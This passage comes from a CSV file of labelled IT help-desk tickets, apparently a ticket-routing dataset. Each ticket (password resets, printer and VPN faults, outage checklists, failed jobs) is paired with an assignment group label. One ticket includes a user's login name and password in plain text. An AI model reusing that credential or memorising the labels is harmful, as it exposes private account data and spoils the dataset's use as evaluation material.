nicht; handscanner an pc evhw8114203 bei r208 funktioniert nach tausch immer noch nicht bitte prüfen und bei bedarf nochmals tauschen;,GRP_33 +"wg: visio software request _x000D_ +_x000D_ +received from: przcxbml.vnjdghui@gmail.com_x000D_ +_x000D_ +hello support team,_x000D_ +_x000D_ +i need visio on my pc._x000D_ +_x000D_ +can you please install it?_x000D_ +_x000D_ +software request approval attached below._x000D_ +_x000D_ +best ",GRP_28 +setup we78 \ewewx200295 \lxfnwyuv bqmjyprz setup we78 \ewewx200295 \lxfnwyuv bqmjyprz,GRP_24 +setup we78 \ewew8323646 \lxfnwyuv bqmjyprz setup we78 \ewew8323646 \lxfnwyuv bqmjyprz,GRP_24 +momitor defekt \niptbwdq csenjruz momitor defekt \niptbwdq csenjruz,GRP_24 +hip 10 ersatz- festplatte erstellen! hip 10 ersatz- festplatte erstellen!,GRP_33 +"neuen ordner im info von EU_tool anlegen (please create new folder ) _x000D_ +_x000D_ +received from: qavdrpfu.ylfwnbkr@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +bitte im EU_tool unter infos einen neuen pfad anlegen._x000D_ +_x000D_ +[cid:image001.png@01d223c0.fSID_21c960][cid:image002.jpg@01d223c0.fSID_21c960]_x000D_ +_x000D_ +[cid:image003.jpg@01d223c0.fSID_21c960]_x000D_ +_x000D_ +unter impact award ein neues verzeichnis anlegen._x000D_ +als bezeichnung bitte erp pm verwenden._x000D_ +_x000D_ +die dateien zum visualisieren befinden sich auf_x000D_ +i:\handbücher\erp pm_x000D_ +_x000D_ +[cid:image004.jpg@01d223c0.fSID_21c960]_x000D_ +_x000D_ +reason :_x000D_ +[‎10/‎13/‎16 3:19 pm] qavdrpfu ylfwnbkr: _x000D_ +i have created some traiyctrhbkm plvnuxmrterial for our shopflor workers for our new erp pm system for creating breakdown notifications_x000D_ +so they will have a chance to look into this traiyctrhbkm plvnuxmrterial when they want to do any notification fjaqbgnld yukdzwxs people._x000D_ +because we still started with erp pm and our old system was a part of EU_tool_x000D_ +called azm._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_25 +"s&op password help desk,_x000D_ +please check stefyty's account in supply_chain_software._x000D_ +_x000D_ +",GRP_0 +"replizieren _x000D_ +_x000D_ +received from: trgqbeax.hfyzudql@gmail.com_x000D_ +_x000D_ +hallo_x000D_ +_x000D_ +leider repliziert mein laptop im firmennetz nur rudimentär, im iphone bekomme ich die neusten emails. das problem haben auch andere kollegen hier am standort._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d223be.6f558640]_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen | best ",GRP_0 +"network outage: engineering_toolkuznetsk warehouse - (company) network is down since 6:28 am et on 10/11. what type of outage: ____x_network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___6:28 am et on 10/11.___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _____no_ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +HostName_1132: oracle finance_app financial management - web tier (epmsystem2) - service monitor(down) HostName_1132: oracle finance_app financial management - web tier (epmsystem2) - service monitor(down),GRP_12 +"unable to launch citrix. unable to launch citrix. error message atttached. +",GRP_12 +"job Job_505 failed in job_scheduler at: 10/11/2016 05:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_505 failed in job_scheduler at: 10/11/2016 05:43:00",GRP_8 +"crm dynamics - open opportunities from lvdyrqfc pfnmjsok + +received from: ctzykflo.evzbhgru@gmail.com + +dear all, + +lvdyrqfc pfnmjsok (personnel # 10780975, userid: webyutelc) lost/deleted by mistake his open opportunities (1 week ago). + +can someone please check if these open opportunities can be restored. + +",GRP_40 +barcode scanner defekt \paternoster barcode scanner defekt \paternoster,GRP_24 +"job Job_593 failed in job_scheduler at: 10/11/2016 04:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/11/2016 04:28:00",GRP_8 +"reset erp password + +received from: ztswnaom.lrapiwex@gmail.com + +dear admin, + +may i request to reset erp password for the following user. + +othyoiz + +",GRP_0 +"please check jeffrghryey's account in supply_chain_software. help desk,_x000D_ +please check jeffrghryey's account in supply_chain_software._x000D_ +_x000D_ +",GRP_0 +einstellungen am alfa set messgerät überprüfen. am rollomatic alfa set messgerät müssen die einstellungen laut anleitung überprüft werden.,GRP_33 +"reset the password for eglavnhx uprodleq on erp / produktion / erp bitte passwort für benutzer ""franhtyuj1"" zurücksetzten, wurde mehrfach falsch eingegeben._x000D_ +danke",GRP_0 +"power outage: india plant - india () telecom_vendor_3 40mbps secondary circuit is down since 3:26 am et on 10/11/16. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____3:26 am et on 10/11/16._________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _yes_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______yes__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ______yes_ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) __telecom_vendor_3:#31345563_______________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +po number 5615755997 has been posted gr with incorrect gl account po number 5615755997 has been posted gr with incorrect gl account ,GRP_10 +please check brook's account in supply_chain_software please check brook's account in supply_chain_software,GRP_0 +erp schulung raum :7 kann beamer nicht verbinden erp schulung raum :7 kann beamer nicht verbinden,GRP_28 +"passwordproblems + +received from: agjzikpf.nhfrbxek@gmail.com + +hi, + +i just tried to change my password via passwordmanager and locked me totally. + +would you please be so kind and unlock me again so that i can change it again ? + +mit freundlichen grüßen +agjzikpf nhfrbxek +analyst logistics +agjzikpf.nhfrbxek@gmail.com + +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +interface 1/0/8 and 1/0/12 are down on switch company-eu-deu-ds-germany-edksw001-3750-core-sw001 since 12:50am et on 10/11 interface 1/0/8 and 1/0/12 are down on switch company-eu-deu-ds-germany-edksw001-3750-core-sw001 since 12:50am et on 10/11,GRP_8 +"circuit outage:germany: company-eu-deu-erkheim-dmvpn-2821-rtr01 is down since 2:09 am et on 10/11/16. what type of outage: _____network _____x circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _______no__ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __2:09 am et on 10/11/16.____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____no_ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____yes___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"eilt !!! monitor defekt monitor defekt _x000D_ +fuer hr. tjzohmve wusgaozx_x000D_ +_x000D_ +neu bau 6 stock, #503",GRP_28 +erp gui login profile missing . erp gui login profile missing . erp cannot login.,GRP_31 +device does not properly boot up windows - system hangs before user login device does not properly boot up windows - system hangs before user login,GRP_28 +"pls. help to run out dn under sto#5019320060,thx! + +received from: wktesmbp.lorjymef@gmail.com + +dear team, +we got a stock recall notic#plant_101-101016-01 for mm#3098450 & should return 373pc materials to plant_101,then i created sto#5019320060 base on this recall. +dn#916955708/105pc was just created against the sto, pls. help to run out the dn of rest 268pc ,thx a lot! +[cid:image001.png@01d223c2.0ac78080] +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + + +",GRP_6 +"job Job_1148 failed in job_scheduler at: 10/11/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 10/11/2016 01:15:00",GRP_9 +"msd crm please provide details of the issue._x000D_ +_x000D_ +i'm not able to view the attachment of customer 81053386._x000D_ +yesterday i received the hourglass only. loging on and off didn't solve the issue._x000D_ +today the following message is displaying on the bottom:_x000D_ + javascript:void(0)",GRP_15 +"job Job_1141 failed in job_scheduler at: 10/11/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 10/11/2016 00:02:00",GRP_8 +"job Job_1141 failed in job_scheduler at: 10/10/2016 23:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 10/10/2016 23:45:00",GRP_9 +"kis_zebra print _x000D_ +_x000D_ +received from: gkwcxzum.answkqpe@gmail.com_x000D_ +_x000D_ +dear all_x000D_ +_x000D_ +this is jay from plant_69._x000D_ +plant_69 receives airwaybill label from erp whenever we do pgi for export. sometimes, zebra printer doesn't print the label so_x000D_ +plant_69 cancel the shipment and re-do pgi._x000D_ +_x000D_ +is there another way for us to have the label not to cancel pgi and re-do pgi ?_x000D_ +_x000D_ +",GRP_18 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"job bkwin_HostName_770_inc failed in job_scheduler at: 10/10/2016 22:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 10/10/2016 22:38:00",GRP_5 +"job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 10/10/2016 22:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 10/10/2016 22:37:00",GRP_8 +wifi 不能在线 wifi 不能在线,GRP_30 +"job SID_56filesys failed in job_scheduler at: 10/10/2016 22:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 10/10/2016 22:24:00",GRP_8 +无法创建skype会议，outlook 日历上面没有 skype online meeting 加载项。 无法创建skype会议，outlook 日历上面没有 skype online meeting 加载项。,GRP_31 +"我的outlook 打印邮件设置纵向，打出来都是横向的，能帮我看一下吗？ 我的outlook 打印邮件设置纵向，打出来都是横向的，能帮我看一下吗？ +dizquolf hlykecxa +ap accountant +dizquolf.hlykecxa@gmail.com +",GRP_31 +"posed inwarehouse_tool no.6223538861 cannot be shown in erp we posed po5616691482 in miro and erp issued no.6223538861. however, this voucher no. does not exist in fb03 as attachment shown. and in me23n, ir cannot be found after making gr and in fbl1n, the transaction still does not exist. only in mir4, no.6223538861 is shown as the posed inwarehouse_tool._x000D_ +please tell us resolve the problem. ",GRP_10 +carrier orders not processing. carrier orders not processing labels through shipping system in erp. getting the following error message. server is unable to process the request,GRP_18 +unable to connect to glog-old to search old data please assign this ticket to keyhtyvin toriaytun. the glovia database is down.,GRP_3 +"sales orders are not updating with correct delivery dates this is in reference to so# 35086652_x000D_ +_x000D_ +this all started with this email; ""i called company and spoke with wkpnlvts oumeaxcz and has confirmed that the items are in route from germany and are scheduled to get to them on 10/18/16 and turn around and ship to us. the new delivery date is for 10/19/16. she was not sure why the date of 12/16/16 is on the company center.""_x000D_ +_x000D_ +after investigating this and looking at screen shots provided by heidi, this is what is happening. ""manufacturing updated the information in the system, and if a csr ran an apo availability check on the art, they could see the updated date of 10/19, but it did not update the delivery date in the order. i went into the order and manually ran a apo stock update on the order, and it updated the delivery date to 10/19. if the customer were to look at it now through company center, they would see a delivery date of 10/19.""_x000D_ +_x000D_ +when manufacturing updates the delivery time for an order, it has to update on all open orders for that item. in this case it did not. we are loosing orders because of this issue as it has been going on for some time now, but this is the first time i have documented screen shots of what was going on. csrs can not run apo every time a date is changed in erp. this has to be automated. anything less is unacceptable. _x000D_ + ",GRP_6 +"need ticket _x000D_ +_x000D_ +received from: dqplrwoy.cutpwjie@gmail.com_x000D_ +_x000D_ +2108696 – this item was manufactured at plant_248 and received into plant_249. it was received into stock at plant_249 on sept 14._x000D_ +_x000D_ +at that point i would have expected the system to have automatically moved the product to plant_101 where there is safety stock and forecast._x000D_ +_x000D_ +can you please advise if the process is working? if it is working, can you please advise why this item did not move._x000D_ +_x000D_ +_x000D_ +dqplrwoy cutpwjie_x000D_ +supply chain planner_x000D_ +strategic sourcing and supply planning_x000D_ +dqplrwoy.cutpwjie@gmail.com_x000D_ +724-539-5632_x000D_ +_x000D_ +company inc. | 1600 technology way | usa, pa 15650 | www.company.com<_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_6 +"problem w/downloading .dxf files- error ""certificate does not exist"" - business_client- product engineering- contact sitmzuje ckrpsabm +unable to save/download .dxf files when using the business_client.(screenshot attached) + +error message persists when attempting to download the .dxf 2d engineering_drawing_tool files from the business_client(web based format). (from path business_client > product engineering > drawing search > display document > select document (e.g. 71322408_nxd_000~03.dxf )>""copy to"" >select directory > c:\users\mazurjw\documents\my drawings\ > result = ""certificate does not exist""",GRP_3 +"password reset from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: monday, october 10, 2016 8:59 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: amar request to reset microsoft online services password for xbfcitlh.ntulmcpq@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• xbfcitlh.ntulmcpq@gmail.com +• first name: theydbar +• last name: brrgtyanthet-perry + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +unable to take screenshot unable to take screenshot,GRP_0 +vip 2 // reset the password for buyoipdj fceymwtz on other / phone system - interaction desktop only need password rest for the phone in my office,GRP_7 +unable to open a website unable to open a website,GRP_0 +printer configure 64 bit printer driver installation on new laptop,GRP_19 +"customers not able to call into the company toll free number. i just received a call from our sales person badgknqs xwelumfz, in st. louis mo stating that he tried to call in on the toll free number 10 time but received a message that the number was not in service. i checked the number he was dialing and he is dialing the correct number urgent. ",GRP_8 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +erp SID_37 password reset erp SID_37 password reset,GRP_0 +issues with outlook // not responding issues with outlook // not responding,GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +outlook not working correctly outlook not working correctly & freezing,GRP_0 +"msd crm - outlook stops responding we ensured ipv6 was unchecked and that network connection was good. it was 'limited' initially but went to normal once denghyrt disconnected from vpn._x000D_ +checked that outlook works okay in safe mode. reduced offline folder settings to 3 months from 12 months._x000D_ +uninstalled and reinstalled crm dynamics (repair did not help)._x000D_ +denghyrt will im me if he has any issues with tasks or reminders in crm (fdmaluyo.tvecikxn@gmail.com)_x000D_ +",GRP_0 +ess password reset ess password reset,GRP_0 +issue with outlook and vpn issue with outlook and vpn,GRP_0 +ich kann meinen vpn nicht öffnen ich kann meinen vpn nicht öffnen,GRP_0 +"unable to open records in engineering_tool. engineering tool is downloading reports in .kpr format and engineering tool crashes. on reinstalling engineering tool, it is crashing too._x000D_ +",GRP_3 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +knocked off vpn/ unable to get on na remote i was knocked off vpn at about 11:55am. now i am unable to log back in via na remote.,GRP_0 +"etime not working name:esqcuwbg gdcuhzqw +language: +browser:microsoft internet explorer +email:esqcuwbg.gdcuhzqw@gmail.com +customer number: +telephone: +summary:me e-time will not populate the names of my employees +",GRP_0 +reset passwords for hybiaxlk lawptzir using password_management_tool password reset. the,GRP_17 +"job Job_370 failed in job_scheduler at: 10/78.93.52.6791:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_370 failed in job_scheduler at: 10/78.93.52.6791:18:00",GRP_8 +bgflmyar.xgufkidq@gmail.com bgflmyar.xgufkidq@gmail.com wanted to check if he can login to hr_tool on his phone,GRP_0 +"erp front end missing i noticed that my erp front end programdnty seems to be gone for some reason. i will need this returned immediately to my desktop, with all prior levels of access set for it. ",GRP_0 +"unable to access erp unable to access erp + +user contacted for an issue where she's unable to access erp after her id got changed last friday. +i checked in password_management_tool and it's not showing any erp accounts under her name. only shows active directory and servers. +please help check with the user at the earliest on this as she needs to access erp SID_34 erp production. + + +old user id - coppthsy +new user id - humthyphk +",GRP_2 +unable to share calendar unable to share calendar,GRP_0 +outlook not launching outlook not launching,GRP_0 +"zebra pinter not working +name:lzapwbnc yrjekzqv +language: +browser:microsoft internet explorer +email:lzapwbnc.yrjekzqv@gmail.com> +customer number: +telephone: +summary:hi, after an automatci upgrade i cannot print on zebra printer anymore. the error message is runtime error 13 +type mismatch. +can you give me support _",GRP_0 +blank call // loud noise // gso blank call // loud noise // gso,GRP_0 +"there a way to access hr_tool e-time from mobile device name:bgflmyar xgufkidq +language: +browser:microsoft internet explorer +email:bgflmyar.xgufkidq@gmail.com +customer number: +telephone +summary:is there a way to access hr_tool e-time from mobile device?",GRP_0 +unable to open a website unable to open a website,GRP_0 +company center not pulling information from erp i have several company center accounts that are not pulling information from erp. i checked to make sure they were created correctly and they are. this is effecting channel partners ability to use company center.,GRP_21 +vpn vpn : vpn is working.,GRP_0 +erp SID_34 locked out. erp SID_34 locked out.,GRP_0 +erp SID_34 and erp SID_1 password reset erp SID_34 and erp SID_1 password reset,GRP_0 +ethics flash player issue. ethics flash player issue.,GRP_0 +reset passwords for fylrosuk kedgmiul using password_management_tool password reset. the,GRP_17 +reset passwords for fylrosuk kedgmiul using password_management_tool password reset. the,GRP_17 +please to extend the user validation to development environment (SID_21) still are expired. - user vvamrtryot please to extend the user validation to development environment (SID_21) still are expired. - user vvamrtryot,GRP_2 +vpn is not working. vpn is not working.,GRP_0 +"us_plant (plant_269) - servers not connecting _x000D_ +_x000D_ +received from: dpuifqeo.eglwsfkn@gmail.com_x000D_ +_x000D_ +plant servers – HostName_1259 and lrrsm007 – are not connecting._x000D_ +_x000D_ +i can see gtehdnyu lights on the front of the server, but they are not blinking._x000D_ +_x000D_ +",GRP_12 +"printer problem / issue information -- zebra label printers please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) all usa zebra label printers -- s4m models_x000D_ + _x000D_ + • detailed description of the problem ? the zebra print software will not connect to erp. see attached photos for errors received._x000D_ +_x000D_ + • type of documents not printing? product labels_x000D_ +_x000D_ + • what system or application being used at time of the problem? zebra print_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? printer is able to print windows uacyltoe hxgaycze pages so it does not appear to be a pc/network/printer issue_x000D_ +_x000D_ + • if erp system, which system? SID_34_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? no_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +reset the password for kslhobgj cyhvefna on other / interaction desktop reset the password for kslhobgj cyhvefna on other / interaction desktop,GRP_7 +o drive missing o drive missing,GRP_0 +dw0080 unlock in erp SID_34 dw0080 unlock in erp SID_34,GRP_0 +"unable to reach the collaboration_platform or crm _x000D_ +_x000D_ +received from: yorgbnpa.ndigthpj@gmail.com_x000D_ +_x000D_ +this is the error information:_x000D_ +_x000D_ +if that doesn't help, contact your support team and include these technical details:_x000D_ +correlation id: 0b0dac9d-8010-3000-b1eb-26ad5dd2741f_x000D_ +date and time: 10/10/2016 5:49:16 am_x000D_ +url: #/sitepages/home.aspx_x000D_ +user: yorgbnpa.ndigthpj@gmail.com_x000D_ +issue type: user not in directory._x000D_ +_x000D_ +_x000D_ +best ",GRP_16 +s s,GRP_0 +qlhmawgi sgwipoxn unlock and password reset ipglathybel ipglathybel qlhmawgi sgwipoxn password reset in erp ,GRP_2 +"network outage:germany, germany site hard down since 8:30 am et on 10/10. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______8:30 am et on 10/10.________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _______na____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____no___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +outlook send/receive progress error i am unable to send from our ebusiness@company.com email. i had no problems up to last week. see screenshot of error.,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +"zebra printer is not working after some updates hello< when i try to print on zebra this error message appair _x000D_ +please see the screen shot message ._x000D_ +it seems that the problem is the erp connection ._x000D_ +_x000D_ +",GRP_0 +erp SID_1 account unlock and password reset erp SID_1 account unlock and password reset,GRP_0 +probleme mit laser02 \pfjwinbg ljtzbdqg probleme mit laser02 \pfjwinbg ljtzbdqg,GRP_24 +probleme mit lasplant_119 \pfjwinbg ljtzbdqg probleme mit lasplant_119 \pfjwinbg ljtzbdqg,GRP_24 +"archiving_tool client log file _x000D_ +_x000D_ +received from: qjtbrvfy.avwqmhsp@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +archiving_tool archive does not open any inwarehouse_tools…_x000D_ +_x000D_ +please repair. ",GRP_0 +"plant_269 - erp error + +received from: dpuifqeo.eglwsfkn@gmail.com + +getting this error when trying to print labels using zebra printers in shipping + +[cid:image001.jpg@01d222cc.865bed90] + +from: thoyhts brthyrtiv +sent: monday, october 10, 2016 8:02 am +to: dpuifqeo eglwsfkn +subject: re: imp + +yes because that is a erp error message. + +",GRP_0 +"user vvhthyoffc blocked (citrix) user vvbthryhn is blocked for citrix access, please unlock. ",GRP_0 +"rücksetzung der passwörter für accounts vvwtyeidt, vvftgors, vvnergtubj, vvthygschj rücksetzung der passwörter für accounts vvwtyeidt, vvftgors, vvnergtubj, vvthygschj",GRP_0 +lean event can not be added. lean event can not be added.,GRP_0 +"scm_software + +received from: oetlgbfw.bsctrnwp@gmail.com + +my supply_chain_software scm_software password has locked + +please reset so i can log in + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + + + +",GRP_0 +"usa: dell rack system - bfr78x1 hardware component: warning or critical state detected iom sensor, chassis and internal power supply has reporting some ""non critical"" alerts. could you please investigate and advise? ",GRP_12 +"zebra printer issue label printer not working. error ""connection to erp could not be made""._x000D_ +_x000D_ +ip's: 51.87.92.3022_x000D_ +74.78.07.2808_x000D_ +79.54.90.8526_x000D_ +06.52.09.1807_x000D_ +39.58.59.0786_x000D_ +39.58.59.0781_x000D_ +_x000D_ +error in attachment_x000D_ +labels are not getting printed.",GRP_8 +"zebra printer issue label printer not working. error ""connection to erp could not be made""._x000D_ +printer name : prtoplant_168_x000D_ +_x000D_ +multiple location are affected. usa, germany also having same issues.",GRP_0 +submitted filled up engineering_tool on system i created engineering_tool and filled up all datas but when click to submit button it is given error message. please see message detail below. ,GRP_25 +"erp crm - instant timeout user: kubyhtuaa +issue: when working with erp crm user encounters instant timeouts. please resolve or advise how to resolve.",GRP_15 +"zebra printer issue label printer not working. error ""connection to erp could not be made""._x000D_ +printer name : prtor0036, prtor0031_x000D_ +_x000D_ +labels are not getting printed.",GRP_0 +set abc code erp 81807016 under me in crm. set abc code erp 81807016 under me in crm. in erp is ok.,GRP_40 +"i have been locked out of my accounts + +received from: plqbesvo.uopaexic@gmail.com + +please help me reset my password +login is (dabhrujir3thy) +password was (ryljar42667) +",GRP_0 +"job Job_593 failed in job_scheduler at: 10/10/2016 06:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/10/2016 06:51:00",GRP_8 +account locked in ad account locked in ad,GRP_0 +"automatische anmeldung wenn ich outlook aufrufe, will der rechner gleichzeitig sich auch noch mit collaboration_platform (?) verbinden. + +das lautet : mit ihrem geschäfts- oder schulkonto anmelden. wenn ich meine emailadresse und mein password eingebe passiert aber nichts. +das ständige einblenden ist sehr störend + +bitte um abhilfe + +meine telefonnummer ist ",GRP_0 +i cannot access the dob report. i was able to access this before. i need this report for the global busienss i cannot access the dob report. i was able to access this before. i need this report for the global busienss,GRP_57 +"printer ag99 - printing ink empty _x000D_ +_x000D_ +received from: przcxbml.vnjdghui@gmail.com_x000D_ +_x000D_ +hello support team,_x000D_ +_x000D_ +the printer ag99 needs printing ink._x000D_ +_x000D_ +where do i get paper for the printer?_x000D_ +_x000D_ +may i ask you to support here._x000D_ +_x000D_ +",GRP_28 +not able to connect to vpn not able to connect to vpn,GRP_0 +"unable process break bulk (sto) + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist as we unable to close break bulk (sto) in ecs system due to nothing in the system. + +we have completely bulk for plant_283 and plant_101 sto in ecs system but nothing shown. + +below attached your reference. + +[cid:image001.png@01d2231d.d8c5ef80] + + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd +( asia regional distribution centre) + +email : rxoynvgi.ntgdsehl@gmail.com",GRP_18 +abholen alte it equipment (2x cad ws nd monitor )\umykjweg jpwrfuhk abholen alte it equipment (2x cad ws nd monitor )\umykjweg jpwrfuhk,GRP_24 +"reset password + +received from: rugdyxqh.aqvocmuy@gmail.com + +good day all + +please assist me in resetting my erp password + +user name krugew245 + +kind ",GRP_0 +bugs in to do list _operator dashbankrd please find the attachment for the issue detail.,GRP_41 +"network outage:juarez-dmvpn-1811-rtr01 is down since 4:39 am et on 10/10 what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____ 4:39 am et on 10/10__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _no_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? 